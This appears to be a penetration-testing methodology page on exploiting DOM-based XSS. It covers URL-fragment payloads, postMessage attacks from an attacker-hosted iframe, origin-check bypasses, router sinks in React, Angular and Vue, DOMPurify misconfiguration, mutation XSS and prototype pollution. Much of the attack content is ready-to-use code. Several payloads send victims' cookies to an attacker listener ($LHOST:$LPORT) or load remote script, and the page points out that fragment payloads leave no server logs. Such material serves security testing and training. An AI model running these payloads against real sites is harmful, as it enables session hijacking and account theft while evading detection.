DOM-Based XSS Exploitation
With a confirmed DOM XSS source-to-sink flow, the next step is building a working exploit. DOM XSS exploitation differs from reflected and stored XSS because the payload never touches the server. The entire attack chain runs in the browser, which means server-side logging, WAFs, and backend monitoring are blind to it. Delivery typically involves getting the victim to visit a URL you control or a crafted link with the payload in the fragment or query string. Confirming the injection point is covered in DOM-based XSS checks.
Hash-Based Payloads
URL fragments (everything after #) are never sent to the server. This makes hash-based DOM XSS payloads invisible to server-side detection and logging. The payload stays between the victim's browser and the vulnerable JavaScript.
Cookie theft via hash injection:
http://$TARGET_IP:$PORT/page#<img src=x onerror="fetch('http://$LHOST:$LPORT/?c='+document.cookie)">
Start a listener to capture the callback:
When the victim opens the link, the vulnerable JavaScript reads location.hash, passes it to a sink like innerHTML, and the browser executes the injected event handler. The fetch call sends the cookies to your server. Because the fragment is not logged server-side, the attack leaves no trace in the application's access logs.
If the application processes the hash through decodeURIComponent(), URL-encode the payload to survive the hash:
http://$TARGET_IP:$PORT/page#%3Cimg%20src%3Dx%20onerror%3D%22fetch('http%3A//$LHOST%3A$LPORT/%3Fc%3D'%2Bdocument.cookie)%22%3E
postMessage Exploitation
Applications that listen for postMessage events and render the received data in the DOM are exploitable from any page that can reference the target window. If the message handler does not validate event.origin, any origin can send malicious messages.
Create a page on your server that opens the target in an iframe and sends a payload:
<html>
<body>
<iframe id="target" src="http://$TARGET_IP:$PORT/vulnerable-page"></iframe>
<script>
var iframe = document.getElementById('target');
iframe.onload = function() {
iframe.contentWindow.postMessage(
'<img src=x onerror="fetch(\'http://$LHOST:$LPORT/?c=\'+document.cookie)">',
'*'
);
};
</script>
</body>
</html>
Host this page on your attacker machine and send the URL to the victim. When they load it, the iframe loads the vulnerable page and the script sends the malicious postMessage:
Origin Validation Bypasses
Some handlers check event.origin but do it incorrectly. Common bypass patterns:
Substring match:
if (event.origin.indexOf('trusted.com') > -1)allowstrusted.com.attacker.comstartsWith check:
if (event.origin.startsWith('http://trusted'))allowshttp://trusted.attacker.comRegex without anchors:
if (/trusted\.com/.test(event.origin))matcheshttp://attacker.com?trusted.comnull origin:
if (event.origin === 'null')is triggered by sandboxed iframes (<iframe sandbox="allow-scripts">)
For the null origin bypass, use a sandboxed iframe:
<iframe sandbox="allow-scripts" srcdoc="<script>parent.postMessage('payload','*')</script>"></iframe>
Client-Side Routing Abuse
Modern frameworks use client-side routers that parse URL segments and render components based on route parameters. If a route parameter is rendered without sanitization, DOM XSS occurs through the router itself.
React Router
React applications using dangerouslySetInnerHTML with route parameters are vulnerable. If a component reads useParams() or this.props.match.params and passes the value to dangerouslySetInnerHTML:
http://$TARGET_IP:$PORT/post/<img src=x onerror=alert(document.domain)>
Angular Router
Angular sanitizes by default, but applications that use bypassSecurityTrustHtml() on route parameters or query strings reintroduce DOM XSS. Test route parameters and query strings with HTML payloads.
Vue Router
Vue applications using v-html with route parameters from this.$route.params or this.$route.query are exploitable. The payload format depends on whether the application uses hash mode (#/route) or history mode (/route).
Bypassing Client-Side Sanitization
Some applications use client-side sanitization libraries like DOMPurify to filter HTML before inserting it into the DOM. These can be bypassed through misconfiguration, mutation XSS, or prototype pollution.
DOMPurify Misconfiguration
DOMPurify is secure by default, but developers weaken it through configuration options:
// ALLOW_DATA_ATTR: true enables data-* attributes, can be chained with other issues
DOMPurify.sanitize(input, {ALLOW_DATA_ATTR: true});
// ADD_TAGS allows custom elements that DOMPurify does not sanitize
DOMPurify.sanitize(input, {ADD_TAGS: ['custom-element']});
// ALLOW_UNKNOWN_PROTOCOLS enables javascript: in href
DOMPurify.sanitize(input, {ALLOW_UNKNOWN_PROTOCOLS: true});
When ALLOW_UNKNOWN_PROTOCOLS is enabled, the javascript: pseudo-protocol works in href attributes:
<a href="javascript:alert(document.domain)">click</a>
Mutation XSS (mXSS)
Mutation XSS exploits differences between how the sanitizer parses HTML and how the browser parses the sanitized output. The sanitizer sees safe markup, but after the browser re-parses it (when inserted via innerHTML), mutation produces executable code.
Classic mXSS payloads exploit browser parsing quirks with nested tags and attributes:
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(document.domain)>
mXSS payloads are browser-version specific and tend to get patched. Check current mXSS research for working payloads against your target's browser version.
Prototype Pollution to Disable Sanitizers
If the application is vulnerable to prototype pollution, you can override configuration options on DOMPurify or other sanitizers by polluting Object.prototype:
// If prototype pollution exists, inject configuration that weakens DOMPurify
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
Object.prototype.ADD_TAGS = ['img'];
Object.prototype.ADD_ATTR = ['onerror'];
The polluted properties merge into DOMPurify's configuration when sanitize() is called with an empty or partial config object. This requires a separate prototype pollution vulnerability in the same page.
Cookie Theft and Session Hijacking
The exfiltration techniques for DOM XSS are identical to reflected and stored XSS: cookie theft, XHR-based data extraction, and credential capture. The difference is delivery. With DOM XSS, the payload is embedded in the URL fragment or delivered via postMessage from a page you control, so the victim never sees a suspicious server request in their network tab.
Cookie theft via DOM XSS hash payload:
http://$TARGET_IP:$PORT/page#<svg/onload="new Image().src='http://$LHOST:$LPORT/?c='+document.cookie">
For HttpOnly cookies, use the XHR approach to make authenticated requests from the victim's session and exfiltrate the response body. The technique is the same as described in reflected XSS exploitation.
Host the external payload for complex exploitation chains:
The delivery URL stays clean:
http://$TARGET_IP:$PORT/page#<script src="http://$LHOST:$LPORT/payload.js"></script>
References
-
PortSwigger: DOM-based vulnerabilitiesTOOL: PortSwigger: DOM-based vulnerabilities, portswigger.net/web-security/dom-based (opens in new tab)
DOM-based XSS exploitation methodology and worked labs
-
PortSwigger: Web message source exploitationTOOL: PortSwigger: Web message source exploitation, portswigger.net/web-security/dom-based/controlling-the-web-message-source (opens in new tab)
Exploiting postMessage handlers for DOM XSS with origin bypass techniques
-
Cure53: mXSS AttacksPAPER: Cure53: mXSS Attacks, cure53.de/fp170.pdf (opens in new tab)
mXSS research paper covering mutation-based sanitizer bypasses